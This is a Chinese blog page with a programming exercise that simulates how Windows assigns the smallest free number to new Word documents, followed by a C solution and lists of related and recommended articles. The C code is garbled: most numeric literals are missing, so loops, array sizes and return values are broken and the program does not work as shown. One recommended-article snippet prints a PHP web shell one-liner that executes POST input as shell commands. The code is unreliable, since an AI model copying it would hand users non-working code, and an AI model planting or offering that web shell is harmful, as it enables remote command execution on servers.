新建Microsoft Word文档
仔细观察,当你新建一个word文档时,会得到一个名为“新建 Microsoft Word 文档.doc”的文件,再新建一个,则名为“新建 Microsoft Word 文档(2).doc”,再新建,便是“新建 Microsoft Word 文档(3).doc”。不断新建,编号不断递增。倘若你现在新建了三个文档,然后删除了“新建 Microsoft Word 文档(2).doc”,再新建就又会得到一个“新建 Microsoft Word 文档(2).doc”。
严格说,Windows在每次新建文档时,都会选取一个与已有文件编号不重复的最小正整数作为新文档的编号。
请编程模拟以上过程,支持以下两种操作
New:新建一个word文档,反馈新建的文档的编号
Delete id:删除一个编号为id的word文档,反馈删除是否成功
初始时一个文件都没有,“新建 Microsoft Word 文档.doc”的编号算作1。
New
New
New
Delete 2
New
Delete 4
Delete 3
Delete 1
New
New
New
Delete 4
2
3
Successful
2
Failed
Successful
Successful
1
3
4
Successful
删除编号的数值不超过2012
#include<stdio.h>
#include<stdlib.h> //atoi()函数头文件
#include<string.h>
int Exist(int a[],int n,int w)//数组中是否存在某元素
{
int i;
for(i=;i<n;i++)
{
if(a[i]==w)
return i;//若存在,返回下标值
} return ;//不存在,返回0
} int Max(int a[],int n)//求数组的最大值
{
int i;
int max=a[];
for(i=;i<n;i++)
{
if(a[i]>max)
max=a[i];
}
return max;//返回最大值
} int New(int a[],int n)//新建
{
int i;
if(Max(a,n)==)//若最大值为0,则表示无文件
{
a[n]=;//数组末添加元素
return ;//添加成功
}
else//最大值不为0,表示有文件
{
for(i=;i<=Max(a,n);i++)//判断区间[1,max]是否连续?
{
if(Exist(a,n,i)==)//如果有断层
{
a[n]=i; //将缺少的文件编号 添加到数组末
return i; //返回编号
}
}
a[n]=Max(a,n)+; //若区间连续无断层,编号加一,添加元素
return Max(a,n)+; //返回编号
}
} int Delete(int a[],int n,int w)//删除
{
int i;
if(Max(a,n)==)
return ; //若无文件,删除失败
else
{
if(Exist(a,n,w)!=)//有文件,且存在编号
{
a[Exist(a,n,w)]=;//将该编号文件删除
return ; //删除成功
}
return ;//有文件,但不存在欲删除的文件编号,删除失败
}
} int main()
{
int n,d,m,i,k=;//n行数
int a[]={};//a文件编号数组,初始化为0
char b[],c[];//b用于存放输入指令字符,c存放Delete n 指令的n scanf("%d",&n);//输入行数
m=n;//新建操作含n++,防止影响循环判断
while(k++ <= m && gets(b)!=NULL)//先判断再输入 当前行++ <= 总行数 输入不为空
{
if(strcmp(b,"New")==)//strcmp(str1,str2),判断字符串是否相等,相等返回0
{
n++;//数组长度加一
printf("%d\n",New(a,n));//输出新建结果
} else if(strncmp(b,"Delete",)==)//strncpy(str1,str2,n) 把str2从n位开始复制到str1
{
strncpy(c,b+,strlen(b));//截取文件编号
int d=atoi(c);//atoi(str) 把字符串转换为整型
if(Delete(a,n,d)==)
printf("Successful\n");
else
printf("Failed\n");
}
}
return ;
}
若想进一步优化,可以使用动态数组,也可以借鉴Java里set集合的思想。
内存数组不可能无限制增大,可以考虑限制值为0的数组元素个数。
新建Microsoft Word文档的更多相关文章
- 算法提高 新建Microsoft Word文档
算法提高 新建Microsoft Word文档 时间限制:1.0s 内存限制:256.0MB 问题描述 L正在出题,新建了一个word文档,想不好取什么名字,身旁一人惊问:“你出 ...
- C语言 · 新建Microsoft Word文档
算法提高 新建Microsoft Word文档 时间限制:1.0s 内存限制:256.0MB 问题描述 L正在出题,新建了一个word文档,想不好取什么名字,身旁一人惊问:“你出的题 ...
- 算法笔记_104:蓝桥杯练习 算法提高 新建Microsoft Word文档(Java)
目录 1 问题描述 2 解决方案 1 问题描述 问题描述 L正在出题,新建了一个word文档,想不好取什么名字,身旁一人惊问:“你出的题目叫<新建Microsoft Word文档>吗? ...
- Java实现 蓝桥杯 算法提高 新建Microsoft world文档
算法提高 新建Microsoft Word文档 时间限制:1.0s 内存限制:256.0MB 问题描述 L正在出题,新建了一个word文档,想不好取什么名字,身旁一人惊问:"你出的题目叫&l ...
- ASP.NET里创建Microsoft Word文档
原文发布时间为:2008-08-03 -- 来源于本人的百度文章 [由搬家工具导入] 本文是应在ASP.NET里创建Microsoft Word文档之需而写的。这篇文章演示了在ASP.NET里怎么创建 ...
- 在 Microsoft Word 文档 中粘贴代码实现语法高亮的方法
1.下载notepad++. 2.将代码粘贴进notepad++,或者直接用notepad++打开. 3.点击顶栏 ===> 插件 ===> NppExport ===> cope ...
- 新建 Microsoft Office Word 文档 来源:牛客网
题目 链接:https://ac.nowcoder.com/acm/contest/28886/1015 来源:牛客网 时间限制:C/C++ 1秒,其他语言2秒 空间限制:C/C++ 32768K,其 ...
- C# 给word文档添加水印
和PDF一样,在word中,水印也分为图片水印和文本水印,给文档添加图片水印可以使文档变得更为美观,更具有吸引力.文本水印则可以保护文档,提醒别人该文档是受版权保护的,不能随意抄袭.前面我分享了如何给 ...
- c#中操作word文档-四、对象模型
转自:http://blog.csdn.net/ruby97/article/details/7406806 Word对象模型 (.Net Perspective) 本文主要针对在Visual St ...
随机推荐
- Spring ——Spring IoC容器详解(图示)
1.1 Spring IoC容器 从昨天的例子当中我们已经知道spring IoC容器的作用,它可以容纳我们所开发的各种Bean.并且我们可以从中获取各种发布在Spring IoC容器里的Bean,并 ...
- [Python]pip 国内源
临时使用方法 pip install -i http://pypi.douban.com/simple/ --trusted-host pypi.douban.com celery END
- 隐藏Web Shell
隐藏Webshell $ sudo echo -e "<?=\`\$_POST[1]\`?>\r<?='PHP Test';?>" > test.ph ...
- FTP服务器配置http访问(配置nginx+ftp服务器)
一.搭建nginx服务器 先安装nginx服务器 # yum install nginx -y 启动nginx服务 # systemctl start nginx 浏览器访问:http://192.1 ...
- Swift 枚举-从汇编角度看枚举内存结构
一.基本使用 先看枚举的几种使用(暂不要问,看看是否都能看懂,待会会逐一讲解) 1.操作一 简单使用 //第一种方式 enum Direction { case east case west case ...
- 《SQL基础教程》+ 《SQL进阶教程》 学习笔记
写在前面:本文主要注重 SQL 的理论.主流覆盖的功能范围及其基本语法/用法.至于详细的 SQL 语法/用法,因为每家 DBMS 都有些许不同,我会在以后专门介绍某款DBMS(例如 PostgreSQ ...
- js能力测评——查找元素的位置
查找元素的位置 题目描述: 找出元素 item 在给定数组 arr 中的位置 输出描述: 如果数组中存在 item,则返回元素在数组中的位置,否则返回 -1 示例1 输入 [ 1, 2, 3, 4 ] ...
- C# bubble sort,selection sort,insertion sort
static void Main(string[] args) { InsertionSortDemo(); Console.ReadLine(); } static void InsertionSo ...
- 《ASP.NET Core应用开发入门教程》与《ASP.NET Core 应用开发项目实战》正式出版
“全书之写印,实系初稿.有时公私琐务猬集,每写一句,三搁其笔:有时兴会淋漓,走笔疾书,絮絮不休:有时意趣萧索,执笔木坐,草草而止.每写一段,自助覆阅,辄摇其首,觉有大不妥者,即贴补重书,故剪刀浆糊乃不 ...
- spring cloud springboot 框架源码 activiti工作流 前后分离 集成代码生成器
1.代码生成器: [正反双向](单表.主表.明细表.树形表,快速开发利器)freemaker模版技术 ,0个代码不用写,生成完整的一个模块,带页面.建表sql脚本.处理类.service等完整模块2. ...